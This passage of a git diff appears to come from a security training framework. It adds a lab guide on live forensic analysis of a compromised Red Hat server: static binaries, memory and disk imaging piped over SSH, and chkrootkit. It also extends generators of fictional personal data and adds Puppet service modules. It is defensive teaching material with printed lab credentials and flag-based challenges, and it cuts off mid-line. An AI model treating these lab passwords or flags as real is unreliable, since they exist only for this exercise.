learnt to spot some evidence of a security compromise. + +### Checking for rootkits + +An important concern when investigating an incident, is that the system (including user-space programs, libraries, and possibly even the OS kernel) may have been modified to hide the presence of changes made by an attacker. For example, the ps and ls commands may be modified, so that certain processes and files (respectively) are not displayed. The libraries used by various commands may have been modified, so that any programs using those libraries are provided with deceptive information. If the kernel has been modified, it can essentially change the behaviour of *any* program on the system, by changing the kernel's response to instructions from processes. For example, if a program attempts to *open* a file for viewing, the kernel could provide one set of content, while an attempt to *execute* the file may result in a completely different program running. + +Detecting the presence of rootkits is tricky, and prone to error. However, there are a number of techniques that, while not foolproof, can detect a number of rootkits. Methods of detection include: looking for inconsistencies between different ways of gathering data about the system state, and looking for known instances of malicious files. + +Chkrootkit is a Bash script that performs a number of tests for the presence of various rootkits. + +**On the compromised VM (Redhat7.2)**, have a quick look through the script, it is much more complex than the previous linux-ir.sh script: + +```bash +less /mnt/cdrom/statbins/chkrootkit-linux/chkrootkit +``` +> Exit less + +Confirm that if we were to run ls, we would be running the local (dynamic) version, probably /bin/ls: + +```bash +which ls +``` + +To understand why, look at the value of the environment variable \$PATH, which tells Bash where to look for programs: + +```bash +echo $PATH +``` + +Set the \$PATH environment variable to use our static binaries wherever possible, so that when chkrootkit calls external programs it will (wherever possible) use the ones stored on the IR disk: + +```bash +export PATH=$static:$PATH +``` + +Confirm that now if we were to run less, we would be running the static version: + +```bash +which ls +``` + +This should report the path to our static binary on the FIRE disk. + +It is now safe to run chkrootkit[^3]: + +```bash +./chkrootkit-linux/chkrootkit | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/chkrootkit_out" +``` +> Help: you may get a message in the terminal before you type the password. You should still type the password for the script to run. The script should not take long to run. + +**On your Desktop VM**, have a look at the output: + +```bash +less /home/<%= $main_user %>/evidence/chkrootkit_out +``` + +From the output, identify files or directories reported as "INFECTED", or suspicious. + +Also, note that the .bash_history is reportedly linked to another file. + +**On the compromised VM (Redhat7.2)**, investigate the Bash history: + +```bash +$static/ls -la /root/.bash_history +``` + +What does the output mean? What does this mean for the logging of the commands run by root? + +At this stage you should be convinced that this system is definitely compromised, and infected with some form of rootkit. + +Save a record of your activity to your Desktop VM: + +```bash +cat /tmp/evid/invst.log | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/script_log" +``` + +Power down the compromised system (Redhat7.2), so that we can continue analysis offline: + +```bash +$static/sync; $static/sync +``` +> If you do not know what the sync command does, on your Desktop VM, run "info coreutils 'sync invocation'" for more information. +> +> Tell the oVirt Virtualization Manager to force a Power Off. + +Why might we want to force a power off (effectively "pulling the plug"), rather than going through the normal shutdown process (by running "halt" or "shutdown")? + +## Offline analysis of live data collection + +Note that even though the bash\_history was not saved (as we discovered above), we can still recover commands that were run the last time the computer was running. This is possible by searching through the saved RAM (the kcore ELF dump we saved earlier). + +**On your Desktop VM**, run: + +```bash +sudo -u <%= $main_user %> bash -c "strings -n 10 /home/<%= $main_user %>/evidence/kcore > /home/<%= $main_user %>/evidence/kcore_strings" +``` + +The above "strings" command extracts ASCII text from the binary core dump. + +Open the extracted strings, and look for evidence of the commands you ran before saving the kernel core dump: + +```bash +less /home/<%= $main_user %>/evidence/kcore_strings +``` + +Now press the '/' key, and type a regex to search for commands you previously ran to collect information about the system. For example, try searching for "ssh <%= $main_user %>" (press 'n' for next). + +## What's next ... + +In the next lab you will analyse the artifacts you have collected, to determine what has happened on the system. + +**Important: save the evidence you have collected, as this will be used as the basis for the next lab.** + +ls -la /home/<%= $main_user %>/evidence you may have to be in root or without and remember when looking at the file you've created is from the outside the VM. + +[^1]: Note that the password for root has been reset for these exercises. + +[^2]: In reality, if we *knew* the system was compromised, we would likely *leave it powered off*, and move straight to offline analysis. + +[^3]: Note that it would be better to not have to include \$PATH, and only use static versions. Unfortunately, FIRE does not include statically compiled versions of all of the commands that chkrootkit requires. diff --git a/modules/generators/structured_content/hackerbot_config/live_analysis/templates/live_investigation.md b/modules/generators/structured_content/hackerbot_config/live_analysis/templates/live_investigation.md new file mode 100644 index 000000000..b2d8f81c4 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/live_analysis/templates/live_investigation.md @@ -0,0 +1,426 @@ +# Analysis of a Compromised System - Part 1: Online Analysis and Data Collection + +## Getting started +### VMs in this lab + +==Start these VMs== (if you haven't already): + +- hackerbot_server (leave it running, you don't log into this) +- desktop +- You will create another VM + +All of these VMs need to be running to complete the lab. + +==Create a new VM from the Redhat7.2\_Template2 template and give it a name that begins with your "c" number==. **DO NOT START the new VM.** +> If you are working on campus in the IMS labs using the oVirt online labs, [*click here for instructions on how to login on campus in the IMS labs and create VMs from templates*](https://docs.google.com/document/d/1SZQmZ8tEmwqzlya5zMCuwTh_C1EqHfMRif09CyilYAE/edit?usp=sharing). + +> If you are working remotely using the oVirt online labs, [*click here for instructions on how to login via VPN and create VMs from templates*](https://docs.google.com/document/d/1zhANC_pz7fNwc_cALxGwPEn3_vls2YjWJUAkUV0BwlI/edit?usp=sharing). + +The Red Hat 7.2 template is a copy of a server that has been compromised (courtesy of the Honeynet Project[^1]). + +Once oVirt has finished creating your new VM, right click on it and choose **Edit**. + +In the edit dialogue box ==select CD-ROM== as the Second Device. +> If you do not see all these options, click the "Show Advanced Options" button at the bottom left-hand side of the window. + +==Tick the Attach CD box.== + +==Select the "fire-0.3.5b.iso"== file from the dropdown box. + +==Click OK== to save the selections. + +==Create an Desktop VM== by following the instructions in the links above. + +==Start these VMs==: + +- RedHat 7.2 (user: root password: toor)[^2] + +==Start the VM and log in as the user specified above.== + +### Your login details for the "desktop" VM +User: <%= $main_user %> +Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember) + +You won't login to the hackerbot_server, but all the VMs need to be running to complete the lab. + +### For marks in the module +1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags. +2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester. + +## Hackerbot! +![small-right](images/skullandusb.svg) + +This exercise involves interacting with Hackerbot, a chatbot who will task you to investigate the system. If you satisfy Hackerbot by completing the challenges, she will reveal flags to you. + +Work through the below exercises, completing the Hackerbot challenges as noted. + +## Note IP addresses + +**On the Red Hat 7.2 VM:** +==Login to the Red Hat 7.2 VM with root and toor.== + +Run "dhcpcd" on the VM to renew its IP address: +```bash +dhcpcd +``` + +Note the IP addresses of the redhat and your Desktop VMs. Make a note of the two IP addresses, which should be on the same subnet (starting the same): for example, if both systems include IP addresses starting with 192.168.201 they are on the same network. You will need these IP addresses later. +> Check IP addresses using `ifconfig` or `ip a s` + +## Reminder to save + +Remember to **save any evidence you collect**, as this will be used as the basis for the next lab. **You cannot complete the following lab (part 2) without saving the evidence you collect during this lab.** Saving to your Desktop VM should be sufficient. + +--- + +## Introduction + +So you have reason to believe one of your servers has experienced a security compromise... What next? For this lab you investigate a real Linux server that was connected to the Internet, and attacked and compromised by unknown remote attackers. + +The investigation of a potential security compromise is closely related to digital forensics topics. As with forensic investigations, we also aim to maintain the integrity of our "evidence", *wherever possible* not modifying access times or other information. However, in a business incident response setting maintaining a chain of evidence may not be our highest priority, since we may be more concerned with other business objectives, such as assuring the confidentiality, integrity, and availability of data and services. + +During analysis, it is good practice to follow the order of volatility (OOV): collecting the most volatile evidence first (such as the contents of RAM, details of processes running, and so on) from a live system, then collecting less volatile evidence (such as data stored on disk) using offline analysis. + +## Live analysis + +After suspecting a compromise, before powering down the server for offline analysis, the first step is typically to perform some initial investigation of the live system. Live analysis aims to investigate suspicions that a compromise has occurred, and gather volatile information, which may potentially include evidence that would be lost by powering down the computer. + +**On the compromised VM (Redhat7.2):** To keep a record of what we are doing on the system, start the script command: + +```bash +mkdir /tmp/evid +script -f /tmp/evid/invst.log +``` +> Note: *if you do this lab over multiple sessions*, be sure to save the log of your progress (/tmp/evid/invst.log), and restart `script`. + +==LogBook question: Make a note of the risks and benefits associated with storing a record of what we are doing locally on the computer that we are investigating.== + +Consider the advantages of *handwritten* documentation of what investigators are doing. + +Many of the commands used to investigate what is happening on a system are standard Unix commands. However, it is advisable to run these from a read-only source, since software on your system may have been tampered with. Also, using read-only media minimises the changes made to your local filesystem, such as executable file access times. + +During preparation, you configured the compromised VM to have access to the FIRE (Forensic and Incident Response Environment) CD/DVD ISO (which is equivalent to inserting the optical disk into your server's DVD-tray). FIRE is an example of a Linux Live Disk that includes tools for forensic investigation. In addition to being able to boot to a version of Linux for offline investigation of evidence, the disk contains Linux tools for live analysis. + +**On the compromised VM (Redhat7.2)**, ==mount the disk==, so that we can access its contents: + +```bash +mount /dev/hdc /mnt/cdrom/ +``` + +On a typical system, many binary executables are dynamically linked; that is, these programs do not physically contain all the libraries (shared code) they use, and instead load that code from shared library files when the program runs. On Unix systems the shared code is typically contained in ".so" files, while on Windows ".dll" files contain shared code. The risks associated with using dynamically linked executables to investigate security breaches is that access times on the shared objects will be updated, and the shared code may also have been tampered with. For this reason it is safest to use programs that are statically linked; that is, have been compiled to physically contain a copy of all of the shared code that it uses. + +**On your Desktop VM** ==look at which libraries are dynamically loaded== when you run a typical command: + +```bash +ldd /bin/ls +``` + +Examine the output, and determine how many external libraries are involved. + +**On the compromised VM (Redhat7.2)**: The FIRE disk contains a number of statically compiled programs to be used for investigations. ==Check that these are indeed statically linked:== + +```bash +ldd /mnt/cdrom/statbins/linux2.2_x86/ls +``` + +==Compare the output to the previous command== run on your own Desktop system. The output will be distinctly different, stating that the program is not dynamically compiled. + +Note that, although an improvement, using statically linked programs such as these still do not guarantee that you can trust the output of the programs you run. Consider why, and make a note of this. + +## Collecting live state manually + +The next step is to use tools to capture information about the live system, for later analysis. One approach to storing the resulting evidence is to send results over the network via Netcat or SSH, without storing them locally. This has the advantage of not changing local files, and is less likely to tip off an attacker, rather than storing the evidence on the compromised machine. + +### Comparing process lists + +**On your Desktop VM**, check ensure the local SSH server (sshd) is running on your system. + +**On the compromised VM (Redhat7.2)**, test sending the results of some commands (process lists using ps) over SSH to your Desktop VM: + +> Note: if the VM is not using a UK keyboard layout, the @ and " symbols may be reversed, and the | symbol is located at the \~. Alternatively, run `loadkeys uk` in the RedHat VM to swap to a UK keyboard layout + +```bash +ssh <%= $main_user %>@*desktop-IP-address* "mkdir evidence" + +ps aux | ssh <%= $main_user %>@*desktop-IP-address* "cat > evidence/ps_out" +``` + +> (Where *desktop-IP-address* is the IP address of your *desktop VM*, which should be on the same subnet as your compromised VM) + +==LogBook question: Why might it not be a good idea to ssh to your own account (if you had one on a Desktop in real life) and type your own password from the compromised system? What are some more secure alternatives?== + +**On your Desktop VM**, find the newly created files and view the contents. + +> Hint: you may wish to use the Dolphin graphical file browser, then navigate to "/home/<%= $main_user %>/evidence". + +**On the compromised VM (Redhat7.2)**, run the statically compiled version of ls from the incident response disk to list the contents of /proc (this is provided dynamically by the kernel: a directory exists for every process on the system), and once again send the results to your Desktop VM... + +First, to save yourself from having to type `/mnt/cdrom/statbins/linux2.2_x86/` over and over, save that value in a Bash variable: + +```bash +export static="/mnt/cdrom/statbins/linux2.2_x86/" +``` + +Now, to run the statically compiled version of ls, you can run: + +```bash +$static/ls +``` + +Run the command: + +```bash +$static/ls /proc | ssh <%= $main_user %>@*desktop-IP-address* "cat > evidence/proc_ls_static" +``` + +**On your Desktop VM**, find the newly created files and compare the list of pids (numbers representing processes) output from the previous commands. This is the second column of output in the ps\_out, with the numbers in proc\_ls\_static. + +Hint: you can do the comparison manually, or using commands such as "cut" (or [*awk*](http://lmgtfy.com/?q=use+awk+to+print+column)), "sort", and "diff". For example, `cat ps_out | awk '{ print $4 }'` will pipe the contents of the file ps\_out into the awk command, which will split on spaces, and only display the fourth field. Ensure this is displaying the list of pids, if not try selecting a different field. You could pipe this through to "sort". Then save that to a file (by appending " > pids\_ps\_out"). We have covered how to use diff previously. Remember "man awk", "man sort", and "man diff" will tell you about how to use the commands (and Google may also come in handy). + +Are the same processes shown each time? If not, that is very suspicious, and likely indicates a break-in, and that we probably shouldn't trust the output of local commands. + +### Gathering live state using statically compiled programs + +**On the compromised VM (Redhat7.2)**, save a copy of a list inodes of removed files that are still open or executing: + +```bash +$static/ils -o /dev/hda1 | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/deleted_out" +``` +> Tip: on VMware VMs, you may need to replace "hda1" with "sda1". + +Save a list of the files currently being accessed by programs: + +```bash +$static/lsof | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/lsof_out" +``` + +**On your Desktop VM**, open evidence/lsof\_out. + +==LogBook question: Are any of these marked as "(deleted)"? How does this compare to the ils output? What does this indicate?== + +**On the compromised VM (Redhat7.2)**, + +Save a list of network connections: + +```bash +$static/netstat -a | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/netstat_out" +``` +> (Some commands such as this one may take awhile to run, wait until the Bash prompt returns) + +Save a list of the network resources currently being accessed by programs: + +```bash +$static/lsof -P -i -n | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/lsof_net_out" +``` + +Save a copy of the routing table: + +```bash +$static/route | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/route_out" +``` + +Save a copy of the ARP cache: + +```bash +$static/arp -a | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/arp_out" +``` + +Save a list of the kernel modules currently loaded (as reported by the kernel): + +```bash +$static/cat /proc/modules | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/lsmod_out" +``` + +**Creating images of the system state** + +We can take a snapshot of the live state of the computer by dumping the entire contents of memory (what is in RAM/swap) into a file. On a Linux system /proc/kcore contains an ELF-formatted core dump of the kernel. Save a snapshot of the kernel state: + +```bash +$static/dd if=/proc/kcore conv=noerror,sync | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/kcore" +``` + +Next, we can copy entire partitions to our other system, to preserve the exact state of stored data, and so that we can conduct offline analysis without modifying the filesystem. + +Start by identifying the device files for the partitions on the compromised system (Redhat7.2): + +```bash +df +``` + +Note that on this system the root partition (mounted on "/"), is /dev/hda1. + +> Help: on VMware VMs only, you may need to replace "hda1" with "sda1". + +Then, copy byte-for-byte the contents of the root ("/") partition (where /dev/hda1 was identified from the previous command: + +```bash +$static/dd if=/dev/hda1 conv=noerror,sync | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/hda1.img" +``` +> Tip: Running this will take some time, so you may wish to continue with the next step while the copying runs. + +This command could be repeated for each partition including swap partitions. For now, let's accept that we have all we need. + +**On your Desktop VM**, list all the files you have created: + +```bash +ls -la /home/<%= $main_user %>/evidence +``` + +At this stage look through some of the information you have collected. For example: + +```bash +less /home/<%= $main_user %>/evidence/lsof_net_out +``` + +Examine the contents of the various output files and identify anything that may indicate that the computer has been compromised by an attacker. Hint: does the network usage seem suspicious? + +### Collecting live state using scripts + +As you may have concluded from the previous tasks, manually collecting all this information from a live system can be a fairly time consuming process. Incident response data collection scripts can automate much of this process. A common data collection script "linux-ir.sh", is included on the FIRE disk, and is also found on the popular Helix IR disk. + +**On the compromised VM (Redhat7.2)**, have a look through the script: + +```bash +less /mnt/cdrom/statbins/linux-ir.sh +``` + +Note that this is a Bash script, and each line contains commands that you could type into the Bash shell. Bash provides the command prompt on most Unix systems, and a Bash script is an automated way of running commands. This script is quite simple, with a series of commands (similar to some of those you have already run) to display information about the running system. + +Identify some commands within the script that collect information you have not already collected above. + +Exit viewing the script (press q). + +Run the data collection script, redirecting output to your Desktop VM: + +```bash +cd /mnt/cdrom/statbins/ + +./linux-ir.sh | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/ir_out" +``` + +**On your Desktop VM**, have a look at the output from the script: + +```bash +less /home/<%= $main_user %>/evidence/ir_out +``` + +Use what you have learnt to spot some evidence of a security compromise. + +### Checking for rootkits + +An important concern when investigating an incident, is that the system (including user-space programs, libraries, and possibly even the OS kernel) may have been modified to hide the presence of changes made by an attacker. For example, the ps and ls commands may be modified, so that certain processes and files (respectively) are not displayed. The libraries used by various commands may have been modified, so that any programs using those libraries are provided with deceptive information. If the kernel has been modified, it can essentially change the behaviour of *any* program on the system, by changing the kernel's response to instructions from processes. For example, if a program attempts to *open* a file for viewing, the kernel could provide one set of content, while an attempt to *execute* the file may result in a completely different program running. + +Detecting the presence of rootkits is tricky, and prone to error. However, there are a number of techniques that, while not foolproof, can detect a number of rootkits. Methods of detection include: looking for inconsistencies between different ways of gathering data about the system state, and looking for known instances of malicious files. + +Chkrootkit is a Bash script that performs a number of tests for the presence of various rootkits. + +**On the compromised VM (Redhat7.2)**, have a quick look through the script, it is much more complex than the previous linux-ir.sh script: + +```bash +less /mnt/cdrom/statbins/chkrootkit-linux/chkrootkit +``` +> Exit less + +Confirm that if we were to run ls, we would be running the local (dynamic) version, probably /bin/ls: + +```bash +which ls +``` + +To understand why, look at the value of the environment variable \$PATH, which tells Bash where to look for programs: + +```bash +echo $PATH +``` + +Set the \$PATH environment variable to use our static binaries wherever possible, so that when chkrootkit calls external programs it will (wherever possible) use the ones stored on the IR disk: + +```bash +export PATH=$static:$PATH +``` + +Confirm that now if we were to run less, we would be running the static version: + +```bash +which ls +``` + +This should report the path to our static binary on the FIRE disk. + +It is now safe to run chkrootkit[^3]: + +```bash +./chkrootkit-linux/chkrootkit | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/chkrootkit_out" +``` +> Help: you may get a message in the terminal before you type the password. You should still type the password for the script to run. The script should not take long to run. + +**On your Desktop VM**, have a look at the output: + +```bash +less /home/<%= $main_user %>/evidence/chkrootkit_out +``` + +From the output, identify files or directories reported as "INFECTED", or suspicious. + +Also, note that the .bash_history is reportedly linked to another file. + +**On the compromised VM (Redhat7.2)**, investigate the Bash history: + +```bash +$static/ls -la /root/.bash_history +``` + +What does the output mean? What does this mean for the logging of the commands run by root? + +At this stage you should be convinced that this system is definitely compromised, and infected with some form of rootkit. + +Save a record of your activity to your Desktop VM: + +```bash +cat /tmp/evid/invst.log | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/script_log" +``` + +Power down the compromised system (Redhat7.2), so that we can continue analysis offline: + +```bash +$static/sync; $static/sync +``` +> If you do not know what the sync command does, on your Desktop VM, run "info coreutils 'sync invocation'" for more information. +> +> Tell the oVirt Virtualization Manager to force a Power Off. + +Why might we want to force a power off (effectively "pulling the plug"), rather than going through the normal shutdown process (by running "halt" or "shutdown")? + +## Offline analysis of live data collection + +Note that even though the bash\_history was not saved (as we discovered above), we can still recover commands that were run the last time the computer was running. This is possible by searching through the saved RAM (the kcore ELF dump we saved earlier). + +**On your Desktop VM**, run: + +```bash +sudo -u <%= $main_user %> bash -c "strings -n 10 /home/<%= $main_user %>/evidence/kcore > /home/<%= $main_user %>/evidence/kcore_strings" +``` + +The above "strings" command extracts ASCII text from the binary core dump. + +Open the extracted strings, and look for evidence of the commands you ran before saving the kernel core dump: + +```bash +less /home/<%= $main_user %>/evidence/kcore_strings +``` + +Now press the '/' key, and type a regex to search for commands you previously ran to collect information about the system. For example, try searching for "ssh <%= $main_user %>" (press 'n' for next). + +## What's next ... + +In the next lab you will analyse the artifacts you have collected, to determine what has happened on the system. + +**Important: save the evidence you have collected, as this will be used as the basis for the next lab.** + +ls -la /home/<%= $main_user %>/evidence you may have to be in root or without and remember when looking at the file you've created is from the outside the VM. + +[^1]: Note that the password for root has been reset for these exercises. + +[^2]: In reality, if we *knew* the system was compromised, we would likely *leave it powered off*, and move straight to offline analysis. + +[^3]: Note that it would be better to not have to include \$PATH, and only use static versions. Unfortunately, FIRE does not include statically compiled versions of all of the commands that chkrootkit requires. diff --git a/modules/generators/structured_content/hackerbot_config/live_analysis/templates/resources.md.erb b/modules/generators/structured_content/hackerbot_config/live_analysis/templates/resources.md.erb new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/live_analysis/templates/resources.md.erb @@ -0,0 +1 @@ + diff --git a/modules/generators/structured_content/person/secgen_local/local.rb b/modules/generators/structured_content/person/secgen_local/local.rb index dca48e5ac..20a5d94e8 100644 --- a/modules/generators/structured_content/person/secgen_local/local.rb +++ b/modules/generators/structured_content/person/secgen_local/local.rb @@ -10,6 +10,8 @@ class PersonHashBuilder < StringEncoder attr_accessor :username attr_accessor :password attr_accessor :account + attr_accessor :credit_card + attr_accessor :national_insurance_number def initialize super @@ -20,6 +22,8 @@ class PersonHashBuilder < StringEncoder self.email_address = '' self.username = '' self.password = '' + self.credit_card = '' + self.national_insurance_number = '' self.account = [] end @@ -29,6 +33,8 @@ class PersonHashBuilder < StringEncoder person_hash['address'] = self.address person_hash['phone_number'] = self.phone_number person_hash['email_address'] = self.email_address + person_hash['credit_card'] = self.credit_card + person_hash['national_insurance_number'] = self.national_insurance_number if self.account != [] account = JSON.parse(self.account[0]) @@ -49,6 +55,8 @@ class PersonHashBuilder < StringEncoder ['--email_address', GetoptLong::REQUIRED_ARGUMENT], ['--username', GetoptLong::REQUIRED_ARGUMENT], ['--password', GetoptLong::REQUIRED_ARGUMENT], + ['--credit_card', GetoptLong::REQUIRED_ARGUMENT], + ['--national_insurance_number', GetoptLong::REQUIRED_ARGUMENT], ['--account', GetoptLong::OPTIONAL_ARGUMENT]] end @@ -67,6 +75,10 @@ class PersonHashBuilder < StringEncoder self.username << arg; when '--password' self.password << arg; + when '--credit_card' + self.credit_card << arg; + when '--national_insurance_number' + self.national_insurance_number << arg; when '--account' self.account << arg; end @@ -79,6 +91,8 @@ class PersonHashBuilder < StringEncoder 'email_address: ' + self.email_address.to_s + print_string_padding + 'username: ' + self.username.to_s + print_string_padding + 'password: ' + self.password.to_s + print_string_padding + + 'credit_card: ' + self.credit_card.to_s + print_string_padding + + 'national_insurance_number: ' + self.national_insurance_number.to_s + print_string_padding + 'account: ' + self.account.to_s end end diff --git a/modules/generators/structured_content/person/secgen_metadata.xml b/modules/generators/structured_content/person/secgen_metadata.xml index 2025d78f2..227c250e8 100644 --- a/modules/generators/structured_content/person/secgen_metadata.xml +++ b/modules/generators/structured_content/person/secgen_metadata.xml @@ -27,10 +27,10 @@ - + - + @@ -41,6 +41,12 @@ + + + + + + person diff --git a/modules/generators/structured_content/random_organisation/secgen_local/local.rb b/modules/generators/structured_content/random_organisation/secgen_local/local.rb index d6673b12c..33fc765c8 100644 --- a/modules/generators/structured_content/random_organisation/secgen_local/local.rb +++ b/modules/generators/structured_content/random_organisation/secgen_local/local.rb @@ -12,6 +12,7 @@ class RandomOrganisationGenerator < StringEncoder attr_accessor :manager attr_accessor :employees attr_accessor :product_name + attr_accessor :intro_paragraph def initialize super @@ -26,6 +27,7 @@ class RandomOrganisationGenerator < StringEncoder self.manager = {} self.employees = [] self.product_name = '' + self.intro_paragraph = [] end def encode_all @@ -40,6 +42,7 @@ class RandomOrganisationGenerator < StringEncoder organisation_hash['manager'] = self.manager organisation_hash['employees'] = self.employees organisation_hash['product_name'] = self.product_name + organisation_hash['intro_paragraph'] = self.intro_paragraph self.outputs << organisation_hash.to_json end @@ -54,7 +57,8 @@ class RandomOrganisationGenerator < StringEncoder ['--industry', GetoptLong::REQUIRED_ARGUMENT], ['--manager', GetoptLong::REQUIRED_ARGUMENT], ['--employees', GetoptLong::REQUIRED_ARGUMENT], - ['--product_name', GetoptLong::REQUIRED_ARGUMENT]] + ['--product_name', GetoptLong::REQUIRED_ARGUMENT], + ['--intro_paragraph', GetoptLong::REQUIRED_ARGUMENT]] end def process_options(opt, arg) @@ -80,6 +84,8 @@ class RandomOrganisationGenerator < StringEncoder self.employees << JSON.parse(arg); when '--product_name' self.product_name << arg; + when '--intro_paragraph' + self.intro_paragraph << arg; end end @@ -93,7 +99,8 @@ class RandomOrganisationGenerator < StringEncoder 'industry: ' + self.industry.to_s + print_string_padding + 'manager: ' + self.manager.to_s + print_string_padding + 'employees: ' + self.employees.to_s + print_string_padding + - 'product_name: ' + self.product_name.to_s + 'product_name: ' + self.product_name.to_s + + 'intro_paragraph: ' + self.intro_paragraph.to_s end end diff --git a/modules/generators/structured_content/random_organisation/secgen_metadata.xml b/modules/generators/structured_content/random_organisation/secgen_metadata.xml index 71a36750f..88bb8054c 100644 --- a/modules/generators/structured_content/random_organisation/secgen_metadata.xml +++ b/modules/generators/structured_content/random_organisation/secgen_metadata.xml @@ -25,6 +25,7 @@ manager employees product_name + intro_paragraph @@ -58,6 +59,9 @@ + + + account diff --git a/modules/generators/structured_content/realistic_organisation/secgen_local/local.rb b/modules/generators/structured_content/realistic_organisation/secgen_local/local.rb index 5fb8d0e37..f68c2ac16 100644 --- a/modules/generators/structured_content/realistic_organisation/secgen_local/local.rb +++ b/modules/generators/structured_content/realistic_organisation/secgen_local/local.rb @@ -12,6 +12,7 @@ class RealOrganisationGenerator < StringEncoder attr_accessor :manager attr_accessor :employees attr_accessor :product_name + attr_accessor :intro_paragraph attr_accessor :filler_char def initialize @@ -27,6 +28,7 @@ class RealOrganisationGenerator < StringEncoder self.manager = {} self.employees = [] self.product_name = '' + self.intro_paragraph = [] self.filler_char = %w(_ -).sample end @@ -59,6 +61,7 @@ class RealOrganisationGenerator < StringEncoder organisation_hash['manager'] = self.manager organisation_hash['employees'] = self.employees organisation_hash['product_name'] = self.product_name + organisation_hash['intro_paragraph'] = self.intro_paragraph self.outputs << organisation_hash.to_json end @@ -88,7 +91,8 @@ class RealOrganisationGenerator < StringEncoder ['--industry', GetoptLong::REQUIRED_ARGUMENT], ['--manager', GetoptLong::REQUIRED_ARGUMENT], ['--employees', GetoptLong::REQUIRED_ARGUMENT], - ['--product_name', GetoptLong::REQUIRED_ARGUMENT]] + ['--product_name', GetoptLong::REQUIRED_ARGUMENT], + ['--intro_paragraph', GetoptLong::REQUIRED_ARGUMENT]] end def process_options(opt, arg) @@ -114,6 +118,8 @@ class RealOrganisationGenerator < StringEncoder self.employees << JSON.parse(arg); when '--product_name' self.product_name << arg; + when '--intro_paragraph' + self.intro_paragraph << arg; end end @@ -127,7 +133,8 @@ class RealOrganisationGenerator < StringEncoder 'industry: ' + self.industry.to_s + print_string_padding + 'manager: ' + self.manager.to_s + print_string_padding + 'employees: ' + self.employees.to_s + print_string_padding + - 'product_name: ' + self.product_name.to_s + 'product_name: ' + self.product_name.to_s + + 'intro_paragraph: ' + self.intro_paragraph.to_s end end diff --git a/modules/generators/structured_content/realistic_organisation/secgen_metadata.xml b/modules/generators/structured_content/realistic_organisation/secgen_metadata.xml index e4c772e31..b3b7b9b8d 100644 --- a/modules/generators/structured_content/realistic_organisation/secgen_metadata.xml +++ b/modules/generators/structured_content/realistic_organisation/secgen_metadata.xml @@ -27,6 +27,7 @@ manager employees product_name + intro_paragraph @@ -60,6 +61,10 @@ + + + + account diff --git a/modules/services/unix/email/popa3d/manifests/config.pp b/modules/services/unix/email/popa3d/manifests/config.pp new file mode 100644 index 000000000..a725f611f --- /dev/null +++ b/modules/services/unix/email/popa3d/manifests/config.pp @@ -0,0 +1,6 @@ +class popa3d::config{ + service { 'popa3d': + enable => true, + ensure => 'running', + } +} diff --git a/modules/services/unix/email/popa3d/manifests/install.pp b/modules/services/unix/email/popa3d/manifests/install.pp new file mode 100644 index 000000000..0d05311f4 --- /dev/null +++ b/modules/services/unix/email/popa3d/manifests/install.pp @@ -0,0 +1,5 @@ +class popa3d::install{ + package { ['popa3d']: + ensure => 'installed', + } +} diff --git a/modules/services/unix/email/popa3d/popa3d.pp b/modules/services/unix/email/popa3d/popa3d.pp new file mode 100644 index 000000000..f525c02ef --- /dev/null +++ b/modules/services/unix/email/popa3d/popa3d.pp @@ -0,0 +1,2 @@ +include popa3d::install +include popa3d::config \ No newline at end of file diff --git a/modules/services/unix/email/popa3d/secgen_metadata.xml b/modules/services/unix/email/popa3d/secgen_metadata.xml new file mode 100644 index 000000000..b1603b80c --- /dev/null +++ b/modules/services/unix/email/popa3d/secgen_metadata.xml @@ -0,0 +1,21 @@ + + + + POP3 Server popa3d + Z. Cliffe Schreuders + MIT + popa3d is a tiny POP3 daemon designed with security as the primary goal. Accepts logins from existing users on the system. + + + pop3 + linux + + + popa3d + + + update + + \ No newline at end of file diff --git a/modules/services/unix/ftp/proftpd/manifests/configure.pp b/modules/services/unix/ftp/proftpd/manifests/configure.pp index 86dbab06e..7586ec5dd 100644 --- a/modules/services/unix/ftp/proftpd/manifests/configure.pp +++ b/modules/services/unix/ftp/proftpd/manifests/configure.pp @@ -1,5 +1,5 @@ class proftpd::configure { - $json_inputs = base64('decode', $::base64_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) file { '/etc/proftpd/proftpd.conf': notify => Service['proftpd'], ensure => present, diff --git a/modules/services/unix/ftp/proftpd/templates/proftpd.erb b/modules/services/unix/ftp/proftpd/templates/proftpd.erb index eae1df013..60462996c 100644 --- a/modules/services/unix/ftp/proftpd/templates/proftpd.erb +++ b/modules/services/unix/ftp/proftpd/templates/proftpd.erb @@ -1,6 +1,5 @@ <% require 'json' - $secgen_parameters = JSON.parse(@json_inputs) - $port = $secgen_parameters['port'].first + $port = @secgen_parameters['port'].first %> # # /etc/proftpd/proftpd.conf -- This is a basic ProFTPD configuration file. diff --git a/modules/services/unix/ftp/vsftpd/templates/vsftpd.conf.erb b/modules/services/unix/ftp/vsftpd/templates/vsftpd.conf.erb index 07ae76364..52840a5a0 100644 --- a/modules/services/unix/ftp/vsftpd/templates/vsftpd.conf.erb +++ b/modules/services/unix/ftp/vsftpd/templates/vsftpd.conf.erb @@ -1,6 +1,5 @@ <% require 'json' - $secgen_parameters = 